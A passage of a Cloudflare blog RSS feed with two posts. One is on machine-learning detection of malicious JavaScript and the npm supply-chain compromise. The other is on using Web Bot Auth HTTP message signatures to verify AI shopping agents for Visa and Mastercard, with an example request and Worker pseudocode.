      <a href="#model-evaluation">
        
      </a>
    </div>
    <p>Since the initial launch, our JavaScript classifiers are constantly being evolved to optimize model evaluation metrics, in this case, <a href="https://en.wikipedia.org/wiki/Precision_and_recall"><u>F1 measure</u></a>. Our current metrics are </p><table><tr><th><p><b>Metric</b></p></th><th><p><b>Latest: Version 2.7</b></p></th><th><p><b>Improvement over prior version</b></p></th></tr><tr><td><p>Precision</p></td><td><p>98%</p></td><td><p>5%</p></td></tr><tr><td><p>Recall</p></td><td><p>90%</p></td><td><p>233%</p></td></tr><tr><td><p>F1</p></td><td><p>94%</p></td><td><p>123%</p></td></tr></table><p>Some of the improvements were accomplished through:</p><ul><li><p>More training examples, curated from a combination of open source datasets, security partners, and labeling of Cloudflare traffic</p></li><li><p>Better training examples, for instance, by removing samples with pure comments in them or scripts with nearly equal structure</p></li><li><p>Better training set stratification, so that training, validation and test sets all have similar distribution of classes of interest</p></li><li><p>Tweaking the evaluation criteria to maximize recall with 99% precision</p></li></ul><p>Given the confusion matrix, we should expect about 2 false positives per second, if we assume ~0.3% of the 40,000 scripts per second are flagged as malicious. We employ multiple LLMs alongside expert human security analysts to review such scripts around the clock. Most False Positives we encounter in this way are rather challenging. For example, scripts that read all form inputs except credit card numbers (e.g. reject input values that test true using the <a href="https://en.wikipedia.org/wiki/Luhn_algorithm"><u>Luhn algorithm</u></a>), injecting dynamic scripts, heavy user tracking, heavy deobfuscation, etc. User tracking scripts often exhibit a combination of these behaviors, and the only reliable way to distinguish truly malicious payloads is by assessing the trustworthiness of their connected domains. We feed all newly labeled scripts back into our ML training (&amp; testing) pipeline.</p><p>Most importantly, we verified that Cloudflare Page Shield would have successfully detected all 18 compromised npm packages as malicious (a novel attack, thus, not in the training data)..</p>
    <div>
      <h2>Planned improvements</h2>
      <a href="#planned-improvements">
        
      </a>
    </div>
    <p>Static script analysis has proven effective and is sometimes the only viable approach (e.g., for npm packages). To address more challenging cases, we are enhancing our ML signals with contextual data including script URLs, page hosts, and connected domains. Modern Agentic AI approaches can wrap JavaScript runtimes as tools in an overall AI workflow. Then, they can enable a hybrid approach that combines static and dynamic analysis techniques to tackle challenging false positive scenarios, such as user tracking scripts.</p>
    <div>
      <h3>Consolidating classifiers</h3>
      <a href="#consolidating-classifiers">
        
      </a>
    </div>
    <p><a href="https://blog.cloudflare.com/detecting-magecart-style-attacks-for-pageshield/"><u>Over 3 years ago</u></a> we launched our classifier, “<a href="https://developers.cloudflare.com/page-shield/detection/review-malicious-scripts/#review-malicious-scripts"><u>Code Behaviour Analysis</u></a>” for Magecart-style scripts that learns  code obfuscation and data exfiltration behaviors. Subsequently, we also deployed our <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> based approach that can also classify <a href="https://blog.cloudflare.com/navigating-the-maze-of-magecart/"><u>Magecart attacks</u></a>. Given the efficacy of the MPGCN-based malicious code analysis, we are announcing the end-of-life of <a href="https://developers.cloudflare.com/page-shield/detection/review-malicious-scripts/#review-malicious-scripts"><u>code behaviour analysis</u></a> by the end of 2025. </p>
    <div>
      <h2>Staying safe always</h2>
      <a href="#staying-safe-always">
        
      </a>
    </div>
    <p>In the npm attack, we did not see any activity in the Cloudflare network related to this compromise among Page Shield users, though for other exploits, we catch its traffic within minutes. In this case, patches of the compromised npm packages were released in 2 hours or less, and given that the infected payloads had to be built into end user facing applications for end user impact, we suspect that our customers dodged the proverbial bullet. That said, had traffic gotten through, Page Shield was already equipped to detect and block this threat.</p><p>Also make sure to consult our <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection"><u>Page Shield Script detection</u></a> to find malicious packages. Consult the Connections tab within Page Shield to view suspicious connections made by your applications.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6rMXJZVWEu6LkupOPY2pOB/0740a085fa2a64de3cff148fc29ad328/BLOG-3052_2.png" />
          </figure><p><sub><i>Several scripts are marked as malicious. </i></sub></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1oj2WALUAurKuu2XYTdKPm/fe8a564f10888e656c2510bc2a91dd6f/BLOG-3052_3.png" />
          </figure><p><sub><i>Several connections are marked as malicious. </i></sub></p><p>
And be sure to complete the following steps:</p><ol><li><p><b>Audit your dependency tree</b> for recently published versions (check package-lock.json / npm ls) and look for versions published around early–mid September 2025 of widely used packages. </p></li><li><p><b>Rotate any credentials</b> that may have been exposed to your build environment.</p></li><li><p><b>Revoke and reissue CI/CD tokens and service keys</b> that might have been used in build <a href="https://www.cloudflare.com/learning/serverless/glossary/what-is-ci-cd/">pipelines</a> (GitHub Actions, npm tokens, cloud credentials).</p></li><li><p><b>Pin dependencies</b> to known-good versions (or use lockfiles), and consider using a package allowlist / verified publisher features from your registry provider.</p></li><li><p><b>Scan build logs and repos for suspicious commits/GitHub Actions changes</b> and remove any unknown webhooks or workflows.</p></li></ol><p>While vigilance is key, automated defenses provide a crucial layer of protection against fast-moving supply chain attacks. Interested in better understanding your client-side supply chain? Sign up for our free, custom <a href="https://www.cloudflare.com/lp/client-side-risk-assessment/"><u>Client-Side Risk Assessment</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Supply Chain Attacks]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Malicious JavaScript]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <guid isPermaLink="false">1DRrVAPmyZYyz2avWuwYZ4</guid>
            <dc:creator>Bashyam Anant</dc:creator>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
            <dc:creator>Zhiyuan Zheng</dc:creator>
            <dc:creator>Denzil Correa</dc:creator>
            <dc:creator>Israel Adura</dc:creator>
            <dc:creator>Georgie Yoxall</dc:creator>
        </item>
        <item>
            <title><![CDATA[Securing agentic commerce: helping AI Agents transact with Visa and Mastercard]]></title>
            <link>https://blog.cloudflare.com/secure-agentic-commerce/</link>
            <pubDate>Fri, 24 Oct 2025 13:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare is partnering with Visa and Mastercard to help secure the future of agentic commerce. ]]></description>
            <content:encoded><![CDATA[ <p>The era of agentic commerce is coming, and it brings with it significant new challenges for security. That’s why Cloudflare is partnering with Visa and Mastercard to help secure automated commerce as AI agents search, compare, and purchase on behalf of consumers.</p><p>Through our collaboration, Visa developed the <a href="https://github.com/visa/trusted-agent-protocol"><u>Trusted Agent Protocol</u></a> and Mastercard developed <a href="https://www.mastercard.com/us/en/business/artificial-intelligence/mastercard-agent-pay.html"><u>Agent Pay</u></a> to help merchants distinguish legitimate, approved agents from malicious bots. Both Trusted Agent Protocol and Agent Pay leverage <a href="https://blog.cloudflare.com/web-bot-auth/"><u>Web Bot Auth</u></a> as the agent authentication layer to allow networks like Cloudflare to verify traffic from AI shopping agents that register with a payment network.</p>
    <div>
      <h2>The challenges with agentic commerce</h2>
      <a href="#the-challenges-with-agentic-commerce">
        
      </a>
    </div>
    <p>Agentic commerce is commerce driven by AI agents. As AI agents execute more transactions, merchants need to protect themselves and maintain trust with their customers. Merchants are beginning to see the promise of agentic commerce but face significant challenges: </p><ul><li><p>How can they distinguish a helpful, approved AI shopping agent from a malicious bot or web crawler? </p></li><li><p>Is the agent representing a known, repeat customer or someone entirely new? </p></li><li><p>Are there particular instructions the consumer gave to their agent that the merchant should respect?</p></li></ul><p>We are working with Visa and Mastercard, two of the most trusted consumer brands in payments, to address each of these challenges. </p>
    <div>
      <h2>Web Bot Auth is the foundation to securing agentic commerce</h2>
      <a href="#web-bot-auth-is-the-foundation-to-securing-agentic-commerce">
        
      </a>
    </div>
    <p>In May, we shared a new proposal called <a href="https://blog.cloudflare.com/web-bot-auth/"><u>Web Bot Auth</u></a> to cryptographically authenticate agent traffic. Historically, agent traffic has been classified using the user agent and IP address. However, these fields can be spoofed, leading to inaccurate classifications and bot mitigations can be applied inaccurately. Web Bot Auth allows an agent to provide a stable identifier by using <a href="https://datatracker.ietf.org/doc/html/draft-meunier-web-bot-auth-architecture"><u>HTTP Message Signatures</u></a> with public key cryptography.</p><p>As we spent time collaborating with the teams at Visa and Mastercard, we found that we could leverage Web Bot Auth as the foundation to ensure that each commerce agent request was verifiable, time-based, and non-replayable.</p><p>Visa’s Trusted Agent Protocol and Mastercard’s Agent Pay present three key solutions for merchants to manage agentic commerce transactions. First, merchants can identify a registered agent and distinguish whether a particular interaction is intended to browse or to pay. Second, merchants can link an agent to a consumer identity. Last, merchants can indicate to agents how a payment is expected, whether that is through a network token, browser-use guest checkout, or a micropayment.</p><p>This allows merchants that integrate with these protocols to instantly recognize a trusted agent during two key interactions: the initial browsing phase to determine product details and final costs, and the final payment interaction to complete a purchase. Ultimately, this provides merchants with the tools to verify these signatures, identify trusted interactions, and securely manage how these agents can interact with their site.</p>
    <div>
      <h2>How it works: leveraging HTTP message signatures </h2>
      <a href="#how-it-works-leveraging-http-message-signatures">
        
      </a>
    </div>
    <p>To make this work, an ecosystem of participants need to be on the same page. It all starts with <i>agent</i> <i>developers</i>, who build the agents to shop on behalf of consumers. These agents then interact with <i>merchants</i>, who need a reliable way to assess the request is made on behalf of consumers. Merchants rely on networks like Cloudflare to verify the agent's cryptographic signatures and ensure the interaction is legitimate. Finally, there are payment networks like Visa and Mastercard, who can link cardholder identity to agentic commerce transactions, helping ensure that transactions are verifiable and accountable.</p><p>When developing their protocols, Visa and Mastercard needed a secure way to authenticate each agent developer and securely transmit information from the agent to the merchant’s website. That’s where we came in and worked with their teams to build upon Web Bot Auth. <a href="https://datatracker.ietf.org/doc/html/draft-meunier-web-bot-auth-architecture"><u>Web Bot Auth</u></a> proposals specify how developers of bots and agents can attach their cryptographic signatures in HTTP requests by using <a href="https://www.rfc-editor.org/rfc/rfc9421"><u>HTTP Message Signatures</u></a>. </p><p>Both Visa and Mastercard protocols require agents to register and have their public keys (referenced as the <code>keyid</code> in the Signature-Input header) in a well-known directory, allowing merchants and networks to fetch the keys to validate these HTTP message signatures. To start, Visa and Mastercard will be hosting their own directories for Visa-registered and Mastercard-registered agents, respectively</p><p>The newly created agents then communicate their registration, identity, and payment details with the merchant using these HTTP Message Signatures. Both protocols build on Web Bot Auth by introducing a new tag that agents must supply in the <code>Signature-Input </code>header, which indicates whether the agent is browsing or purchasing. Merchants can use the tag to determine whether to interact with the agent. Agents must also include the nonce field, a unique sequence included in the signature, to provide protection against replay attacks.</p><p>An agent visiting a merchant’s website to browse a catalog would include an HTTP Message Signature in their request to verify their agent is authorized to browse the merchant’s storefront on behalf of a specific Visa cardholder:</p>
            <pre><code>GET /path/to/resource HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 Chrome/113.0.0 MyShoppingAgent/1.1
Signature-Input: 
  sig2=("@authority" "@path"); 
  created=1735689600; 
  expires=1735693200; 
  keyid="poqkLGiymh_W0uP6PZFw-dvez3QJT5SolqXBCW38r0U"; 
  alg="Ed25519";   nonce="e8N7S2MFd/qrd6T2R3tdfAuuANngKI7LFtKYI/vowzk4IAZyadIX6wW25MwG7DCT9RUKAJ0qVkU0mEeLEIW1qg=="; 
  tag="web-bot-auth"
Signature: sig2=:jdq0SqOwHdyHr9+r5jw3iYZH6aNGKijYp/EstF4RQTQdi5N5YYKrD+mCT1HA1nZDsi6nJKuHxUi/5Syp3rLWBA==:</code></pre>
            <p>Trusted Agent Protocol and Agent Pay are designed for merchants to benefit from its validation mechanisms without changing their infrastructure. Instead, merchants can set the rules for agent interactions on their site and rely upon Cloudflare as the validator. For these requests, Cloudflare will run <a href="https://blog.cloudflare.com/verified-bots-with-cryptography/#message-signature-verification-for-origins"><u>the following checks</u></a>:</p><ol><li><p>Confirm the presence of the <code>Signature-Input</code> and <code>Signature</code> headers.</p></li><li><p>Pull the <code>keyid</code> from the Signature-Input. If Cloudflare has not previously retrieved and cached the key, fetch it from the public key directory.</p></li><li><p>Confirm the current time falls between the <code>created</code> and <code>expires</code> timestamps.</p></li><li><p>Check <code>nonce</code> uniqueness in the cache. By checking if a nonce has been recently used, Cloudflare can reject reused or expired signatures, ensuring the request is not a malicious copy of a prior, legitimate interaction.</p></li><li><p>Check the validity of the <code>tag</code>, as defined by the protocol. If the agent is browsing, the tag should be <code>agent-browser-auth</code>. If the agent is paying, the tag should be <code>agent-payer-auth</code>. </p></li><li><p>Reconstruct the canonical <a href="https://www.rfc-editor.org/rfc/rfc9421#name-creating-the-signature-base"><u>signature base</u></a> using the <a href="https://www.rfc-editor.org/rfc/rfc9421#covered-components"><u>components</u></a> from the <code>Signature-Input</code> header. </p></li><li><p>Perform the cryptographic <a href="https://www.rfc-editor.org/rfc/rfc9421#name-eddsa-using-curve-edwards25"><u>ed25519 signature verification</u></a> using the key supplied in <code>keyid</code>.</p></li></ol><p>Here is an <a href="https://github.com/visa/trusted-agent-protocol"><u>example from Visa</u></a> on the flow for agent validation:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4Preu2aFUSuW5o3UWE6281/caf5354a009fb89c8b01cfef10fc3e87/image3.png" />
          </figure><p>Mastercard’s Agent Pay validation flow is outlined below:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1vzpRtW4dRzsNGdc4Vnxf1/c780ef45a0b1fc263eb13b62b2af5457/image2.png" />
          </figure>
    <div>
      <h3>What’s next: Cloudflare’s Agent SDK &amp; Managed Rules</h3>
      <a href="#whats-next-cloudflares-agent-sdk-managed-rules">
        
      </a>
    </div>
    <p>We recently introduced support for <a href="https://blog.cloudflare.com/x402/#cloudflares-mcp-servers-agents-sdk-and-x402-payments"><u>x402 transactions</u></a> into Cloudflare’s <a href="https://agents.cloudflare.com/"><u>Agent SDK</u></a>, allowing anyone building an agent to easily transact using the new x402 protocol. We will similarly be working with Visa and Mastercard over the coming months to bring support for their protocols directly to the Agents SDK. This will allow developers to manage their registered agent’s private keys and to easily create the correct HTTP message signatures to authorize their agent to browse and transact on a merchant website.</p><p>Conceptually, the requests in a Cloudflare Worker would look something like this:</p>
            <pre><code>/**
 * Pseudocode example of a Cloudflare Worker acting as a trusted agent.
 * This version explicitly illustrates the signing logic to show the core flow. 
 */


// Helper function to encapsulate the signing protocol logic.
async function createSignatureHeaders(targetUrl, credentials) {
    // Internally, this function would perform the detailed cryptographic steps:
    // 1. Generate timestamps and a unique nonce.
    // 2. Construct the 'Signature-Input' header string with all required parameters.
    // 3. Build the canonical 'Signature Base' string according to the spec.
    // 4. Use the private key to sign the base string.
    // 5. Return the fully formed 'Signature-Input' and 'Signature' headers.
    
    const signedHeaders = new Headers();
    
    signedHeaders.set('Signature-Input', 'sig2=(...); keyid="..."; ...');
    signedHeaders.set('Signature', 'sig2=:...');
    return signedHeaders;
}


export default {
    async fetch(request, env) {
        // 1. Load the final API endpoint and private signing credentials.
        const targetUrl = new URL(request.url).searchParams.get('target');
        const credentials = { 
            privateKey: env.PAYMENT_NETWORK_PRIVATE_KEY, 
            keyId: env.PAYMENT_NETWORK_KEY_ID 
        };


        // 2. Generate the required signature headers using the helper.
        const signatureHeaders = await createSignatureHeaders(targetUrl, credentials);


        // 3. Attach the newly created signature headers to the request for authentication.
        const signedRequestHeaders = new Headers(request.headers);
        signedRequestHeaders.set('Host', new URL(targetUrl).hostname);
        signedRequestHeaders.set('Signature-Input', signatureHeaders.get('Signature-Input'));
        signedRequestHeaders.set('Signature', signatureHeaders.get('Signature'));


       // 4. Forward the fully signed request to the protected API.
        return fetch(targetUrl, { headers: signedRequestHeaders });
    },
};</code></pre>
            <p>We’ll also be creating new <a href="https://developers.cloudflare.com/waf/managed-rules/"><u>managed rulesets</u></a> for our customers that make it easy to allow agents that are using the Trusted Agent Protocol or Agent Pay. You might want to disallow most automated traffic to your storefront but not miss out on revenue opportunities from agents authorized to make a purchase on behalf of a cardholder. A managed rule would make this straightforward to implement. As the website owner, you could enable a managed rule that automatically allows all trusted agents registered with Visa or Mastercard to come to your site, passing your other bot protection &amp; WAF rules. </p><p>These will continue to evolve, and we will incorporate feedback to ensure that agent registration and validation works seamlessly across all networks and aligns with the Web Bot Auth proposal. American Express will also be leveraging Web Bot Auth as the foundation to their agentic commerce offering.</p>
    <div>
      <h2>How to get started today </h2>
      <a href="#how-to-get-started-today">
        
      </a>
    </div>
    <p>You can start building with Cloudflare’s <a href="https://agents.cloudflare.com/"><u>Agent SDK today</u></a>, see a sample implementation of the <a href="https://github.com/visa/trusted-agent-protocol"><u>Trusted Agent Protocol</u></a>, and view the <a href="https://developer.visa.com/capabilities/trusted-agent-protocol/trusted-agent-protocol-specifications"><u>Trusted Agent Protocol</u></a> and <a href="https://www.mastercard.com/us/en/business/artificial-intelligence/mastercard-agent-pay.html"><u>Agent Pay</u></a> docs. </p><p>We look forward to your contribution and feedback, should this be engaging on GitHub, building apps, or engaging in mailing lists discussions.</p> ]]></content:encoded>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Agents]]></category>
            <category><![CDATA[AI Bots]]></category>
            <guid isPermaLink="false">7EMx28KsZIufcu4wEq5YtV</guid>
            <dc:creator>Rohin Lohe</dc:creator>
            <dc:creator>Will Allen</dc:creator>
        </item>
    </channel>
</rss>